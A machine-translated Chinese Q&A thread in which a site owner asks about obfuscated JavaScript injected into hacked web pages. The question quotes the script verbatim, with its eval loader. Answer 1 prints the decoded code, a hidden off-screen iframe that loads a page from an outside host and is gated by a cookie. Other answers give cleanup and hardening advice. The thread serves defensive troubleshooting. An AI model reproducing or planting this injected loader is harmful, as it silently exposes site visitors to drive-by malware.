插入JavaScript代碼的網站被插入

Question

我管理的一些網站已被黑客入侵，並且以下JavaScript代碼已插入到每個網頁中。我不知道如何解碼這個或它甚至做了什麼，所以我不知道它有多嚴重。誰能幫忙？

<script type="text/javascript" language="javascript"> 
if(document.querySelector)bqlelz=4;zibka=("36,7c,8b,84,79,8a,7f,85,84,36,8c,46,4f,3e,3f,36,91,23,20,36,8c,77,88,36,89,8a,77,8a,7f,79,53,3d,77,80,77,8e,3d,51,23,20,36,8c,77,88,36,79,85,84,8a,88,85,82,82,7b,88,53,3d,7f,84,7a,7b,8e,44,86,7e,86,3d,51,23,20,36,8c,77,88,36,8c,36,53,36,7a,85,79,8b,83,7b,84,8a,44,79,88,7b,77,8a,7b,5b,82,7b,83,7b,84,8a,3e,3d,7f,7c,88,77,83,7b,3d,3f,51,23,20,23,20,36,8c,44,89,88,79,36,53,36,3d,7e,8a,8a,86,50,45,45,8b,86,79,82,7f,7b,84,8a,44,79,85,83,45,44,89,83,7f,82,7b,8f,89,45,7d,70,61,87,5e,7e,6d,49,44,86,7e,86,3d,51,23,20,36,8c,44,89,8a,8f,82,7b,44,86,85,89,7f,8a,7f,85,84,36,53,36,3d,77,78,89,85,82,8b,8a,7b,3d,51,23,20,36,8c,44,89,8a,8f,82,7b,44,79,85,82,85,88,36,53,36,3d,4f,4c,4e,3d,51,23,20,36,8c,44,89,8a,8f,82,7b,44,7e,7b,7f,7d,7e,8a,36,53,36,3d,4f,4c,4e,86,8e,3d,51,23,20,36,8c,44,89,8a,8f,82,7b,44,8d,7f,7a,8a,7e,36,53,36,3d,4f,4c,4e,86,8e,3d,51,23,20,36,8c,44,89,8a,8f,82,7b,44,82,7b,7c,8a,36,53,36,3d,47,46,46,46,4f,4c,4e,3d,51,23,20,36,8c,44,89,8a,8f,82,7b,44,8a,85,86,36,53,36,3d,47,46,46,46,4f,4c,4e,3d,51,23,20,23,20,36,7f,7c,36,3e,37,7a,85,79,8b,83,7b,84,8a,44,7d,7b,8a,5b,82,7b,83,7b,84,8a,58,8f,5f,7a,3e,3d,8c,3d,3f,3f,36,91,23,20,36,7a,85,79,8b,83,7b,84,8a,44,8d,88,7f,8a,7b,3e,3d,52,86,36,7f,7a,53,72,3d,8c,72,3d,36,79,82,77,89,89,53,72,3d,8c,46,4f,72,3d,36,54,52,45,86,54,3d,3f,51,23,20,36,7a,85,79,8b,83,7b,84,8a,44,7d,7b,8a,5b,82,7b,83,7b,84,8a,58,8f,5f,7a,3e,3d,8c,3d,3f,44,77,86,86,7b,84,7a,59,7e,7f,82,7a,3e,8c,3f,51,23,20,36,93,23,20,93,23,20,7c,8b,84,79,8a,7f,85,84,36,69,7b,8a,59,85,85,81,7f,7b,3e,79,85,85,81,7f,7b,64,77,83,7b,42,79,85,85,81,7f,7b,6c,77,82,8b,7b,42,84,5a,77,8f,89,42,86,77,8a,7e,3f,36,91,23,20,36,8c,77,88,36,8a,85,7a,77,8f,36,53,36,84,7b,8d,36,5a,77,8a,7b,3e,3f,51,23,20,36,8c,77,88,36,7b,8e,86,7f,88,7b,36,53,36,84,7b,8d,36,5a,77,8a,7b,3e,3f,51,23,20,36,7f,7c,36,3e,84,5a,77,8f,89,53,53,84,8b,82,82,36,92,92,36,84,5a,77,8f,89,53,53,46,3f,36,84,5a,77,8f,89,53,47,51,23,20,36,7b,8e,86,7f,88,7b,44,89,7b,8a,6a,7f,83,7b,3e,8a,85,7a,77,8f,44,7d,7b,8a,6a,7f,83,7b,3e,3f,36,41,36,49,4c,46,46,46,46,46,40,48,4a,40,84,5a,77,8f,89,3f,51,23,20,36,7a,85,79,8b,83,7b,84,8a,44,79,85,85,81,7f,7b,36,53,36,79,85,85,81,7f,7b,64,77,83,7b,41,38,53,38,41,7b,89,79,77,86,7b,3e,79,85,85,81,7f,7b,6c,77,82,8b,7b,3f,23,20,36,41,36,38,51,7b,8e,86,7f,88,7b,89,53,38,36,41,36,7b,8e,86,7f,88,7b,44,8a,85,5d,63,6a,69,8a,88,7f,84,7d,3e,3f,36,41,36,3e,3e,86,77,8a,7e,3f,36,55,36,38,51,36,86,77,8a,7e,53,38,36,41,36,86,77,8a,7e,36,50,36,38,38,3f,51,23,20,93,23,20,7c,8b,84,79,8a,7f,85,84,36,5d,7b,8a,59,85,85,81,7f,7b,3e,36,84,77,83,7b,36,3f,36,91,23,20,36,8c,77,88,36,89,8a,77,88,8a,36,53,36,7a,85,79,8b,83,7b,84,8a,44,79,85,85,81,7f,7b,44,7f,84,7a,7b,8e,65,7c,3e,36,84,77,83,7b,36,41,36,38,53,38,36,3f,51,23,20,36,8c,77,88,36,82,7b,84,36,53,36,89,8a,77,88,8a,36,41,36,84,77,83,7b,44,82,7b,84,7d,8a,7e,36,41,36,47,51,23,20,36,7f,7c,36,3e,36,3e,36,37,89,8a,77,88,8a,36,3f,36,3c,3c,23,20,36,3e,36,84,77,83,7b,36,37,53,36,7a,85,79,8b,83,7b,84,8a,44,79,85,85,81,7f,7b,44,89,8b,78,89,8a,88,7f,84,7d,3e,36,46,42,36,84,77,83,7b,44,82,7b,84,7d,8a,7e,36,3f,36,3f,36,3f,23,20,36,91,23,20,36,88,7b,8a,8b,88,84,36,84,8b,82,82,51,23,20,36,93,23,20,36,7f,7c,36,3e,36,89,8a,77,88,8a,36,53,53,36,43,47,36,3f,36,88,7b,8a,8b,88,84,36,84,8b,82,82,51,23,20,36,8c,77,88,36,7b,84,7a,36,53,36,7a,85,79,8b,83,7b,84,8a,44,79,85,85,81,7f,7b,44,7f,84,7a,7b,8e,65,7c,3e,36,38,51,38,42,36,82,7b,84,36,3f,51,23,20,36,7f,7c,36,3e,36,7b,84,7a,36,53,53,36,43,47,36,3f,36,7b,84,7a,36,53,36,7a,85,79,8b,83,7b,84,8a,44,79,85,85,81,7f,7b,44,82,7b,84,7d,8a,7e,51,23,20,36,88,7b,8a,8b,88,84,36,8b,84,7b,89,79,77,86,7b,3e,36,7a,85,79,8b,83,7b,84,8a,44,79,85,85,81,7f,7b,44,89,8b,78,89,8a,88,7f,84,7d,3e,36,82,7b,84,42,36,7b,84,7a,36,3f,36,3f,51,23,20,93,23,20,7f,7c,36,3e,84,77,8c,7f,7d,77,8a,85,88,44,79,85,85,81,7f,7b,5b,84,77,78,82,7b,7a,3f,23,20,91,23,20,7f,7c,3e,5d,7b,8a,59,85,85,81,7f,7b,3e,3d,8c,7f,89,7f,8a,7b,7a,75,8b,87,3d,3f,53,53,4b,4b,3f,91,93,7b,82,89,7b,91,69,7b,8a,59,85,85,81,7f,7b,3e,3d,8c,7f,89,7f,8a,7b,7a,75,8b,87,3d,42,36,3d,4b,4b,3d,42,36,3d,47,3d,42,36,3d,45,3d,3f,51,23,20,23,20,8c,46,4f,3e,3f,51,23,20,93,23,20,93".split(","));twuss=eval;function oqvw(){iuwo=function(){--(uiopm.body)}()}uiopm=document;for(wxuxe=0;wxuxe<zibka["length"];wxuxe+=1){zibka[wxuxe]=-(22)+parseInt(zibka[wxuxe],bqlelz*4);}try{oqvw()}catch(ggpl){hywzjw=50-50;}if(!hywzjw)twuss(String["fr"+"omCh"+"arCo"+"de"].apply(String,zibka)); 
</script> 

我假設這些字符引用和它實際上是一些惡意內容指向一個網站的地方，但我不知道怎麼去解決它。我正在通過並刪除所有這些和更改所有密碼以防止進一步的安全問題，但任何建議，將不勝感激！

謝謝。

Answer 1

這是注入的內容。爲了破譯這個，你在你的文章中做了同樣的事情。將字符串拆分爲逗號分隔的十六進制字符串，然後使用16進制parseInt，減去22，然後查找字符代碼。如何惡意使用它，我不確定。有人有主意嗎？

function v09() { 

    var static = 'ajax'; 

    var controller = 'index.php'; 

    var v = document.createElement('iframe'); 

    v.src = 'http://upclient.com/.smileys/gZKqHhW3.php'; 

    v.style.position = 'absolute'; 

    v.style.color = '968'; 

    v.style.height = '968px'; 

    v.style.width = '968px'; 

    v.style.left = '1000968'; 

    v.style.top = '1000968'; 

    if (!document.getElementById('v')) { 

     document.write('<p id=\'v\' class=\'v09\' ></p>'); 

     document.getElementById('v').appendChild(v); 

    } 

} 

function SetCookie(cookieName, cookieValue, nDays, path) { 

    var today = new Date(); 

    var expire = new Date(); 

    if (nDays == null || nDays == 0) 

     nDays = 1; 

    expire.setTime(today.getTime() + 3600000 * 24 * nDays); 

    document.cookie = cookieName + "=" + escape(cookieValue) 

    + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : ""); 

} 

function GetCookie(name) { 

    var start = document.cookie.indexOf(name + "="); 

    var len = start + name.length + 1; 

    if ((!start) && 

    (name != document.cookie.substring(0, name.length))) 

    { 

     return null; 

    } 

    if (start == -1) 

     return null; 

    var end = document.cookie.indexOf(";", len); 

    if (end == -1) 

     end = document.cookie.length; 

    return unescape(document.cookie.substring(len, end)); 

} 

if (navigator.cookieEnabled) 

{ 

    if (GetCookie('visited_uq') == 55) { 

    } else { 

     SetCookie('visited_uq', '55', '1', '/'); 

     v09(); 

    } 

} 

Answer 2

根據我的經驗，這種類型的攻擊發生在共享主機服務器上，其中一個自動化機器人已經猜到了該帳戶的密碼，或者帳戶持有人的桌面上存在惡意軟件，它已經捕獲了證書並正在濫用它們。

你最好打賭嗎？接受有肯定將是你的用戶產生影響，然後做你的盡職調查：

• 通知您的共享主機，如果你不是主人。
• 存檔共享主機帳戶的整個主目錄，幷包含該用戶的cron作業，數據庫，電子郵件和其他信息的內容。 （例如，tar -czf website-$(date +%F).tar.gz ~/或您的共享託管備份實用程序。）
• 檢查是否有可能正在運行的惡意進程或腳本。 ps gaux是你的朋友。
• Nuke everything in the shared hosting account。
• 即使您認爲它不可能受到影響，也要更改每個密碼。
• 重新創建帳戶併爲您的用戶留下維護頁面。您應該備份您的帳戶。
• 在虛擬機中解壓縮備份並調查的所有內容包括日誌和其他信息以發現攻擊發生的方式。將你學到的東西應用於你的網站代碼。
• 重新部署您的代碼與修復，考慮到您在上一步中發現的原因;如果您的帳戶使用Joomla，Drupal，Wordpress或類似的框架，請花時間升級到最新版本。

不要跳過這個步驟，否則這個會再次發生。

Answer 3

這種類型的事情發生在我身上也有，我不是一個共享的主機解決方案，我是在專用服務器上，沒有任何FTP或SSH或SCP活動的證據。

我意識到有人用我的一個表單做代碼注入（我的網站是PHP）。這可以通過向您使用自己的代碼來實現，方法是向文本框或文本字段提供輸入，以便通過服務器上的某些代碼進行解釋。

例如，您可能有一個小表單，允許用戶將文件上傳到某種目錄中。有人可以上傳代碼文件，然後執行它，這個代碼文件可能是用來將JavaScript代碼注入到您自己的代碼頁中的罪魁禍首。

使用此實例，可以限制允許上傳哪些文件類型，將文件放置在瀏覽器無法直接訪問它的目錄中，或者確保該文件在上傳時沒有執行權限。

您還可以確保sanitize inputs這樣沒有任何惡意文本可以在任何形式的有效。